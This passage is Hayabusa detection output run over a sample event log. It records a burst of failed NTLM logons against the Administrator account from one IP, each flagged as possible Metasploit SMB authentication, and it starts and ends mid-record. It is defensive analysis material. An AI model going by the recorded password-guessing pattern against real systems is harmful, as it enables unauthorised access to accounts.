Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.157 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6jwIc6e0AHAhXKK5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.157 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.200 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Nld9Job0Ll1Fgtmy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.200 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.242 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q9sS6i9iU3PXhokz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.242 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: heaYv6Np8swhoVc9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.288 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.334 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I7rzgNBtUJkS93pO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.334 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.381 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gh45suNQ09FzPBjd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.381 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.431 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BOnwAGxxz994k6Ee : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.431 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.474 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L26mvUKOgGptcKaZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.474 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.517 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aqldRjcLl8KFZr5h : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.517 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.569 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ycNPBtmRHShPOcRA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.569 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.617 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ISlMGsVvXry0rbju : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.617 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MjGjh70EQ5YVGJUt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.657 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.700 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yaYM5N2kuvuRCHRU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.700 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.738 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 32wgj2t7BLBviVxd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.738 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.789 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vr1kMRxLEaCIWIbf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.789 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.832 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4PHEJyKgp5wXRtBk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.832 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dbaoz8rTZVXUjRAg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.884 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.928 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d4eD3JQ5gquIqgND : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.928 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.969 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U9slFFSSXhFxPqG1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.969 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.009 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YDb5Up4KwJj0hN5n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.009 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.063 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DxqIpDLlnf6Xyc34 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.063 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.106 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rTCTTYmKTIzzJwxH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.106 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.145 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oD3dLxlB3qWIhZEQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.145 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Fe9xMOoCxPJIIyVq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.193 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.246 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DW3YgBZYiGTeEw66 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.246 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.293 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VAKeeIcOeiQ3H9NF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.293 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.338 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nmF3ot3gJCsBlSwF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.338 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.395 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wDjoResfZvvVqqE5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.395 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.437 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V4dwzMwvVtzztGwr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.437 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.491 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0qklApBFOMxVzucD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.491 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.538 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0IJSphtLB3eNARBo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.538 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.582 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PLOFe4w5KpJ2UaGM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.582 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.620 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cF3JTWkGadY1fJE2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.620 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.666 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kyTH0jxSZB2YVdhW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.666 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.709 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NRq5XrcDkFvabCzh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.709 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.750 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zlYwlgrsMy1kSgEC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.750 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.790 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AchwW4ifbZ41AQNg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.790 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.842 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1PaxF7Q8ue1Kex1h : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.842 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.888 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WAhW2PErXdwNVrx5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.888 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.943 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LoAV3ESqieev2JMC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.943 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.012 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wFlWFijaFirgsAtJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.012 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.049 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hSDjuqvzKLaWCWVo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.049 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.109 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SL0CVu787iFRLiPU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.109 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.219 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZQDORN33izpv4tGO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.219 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.253 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v470yorD43fgGyjC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.253 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.305 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LBbLWVZFDqFxb7dW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.305 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.360 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RJsowt9MrhXciLOZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:12.360 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 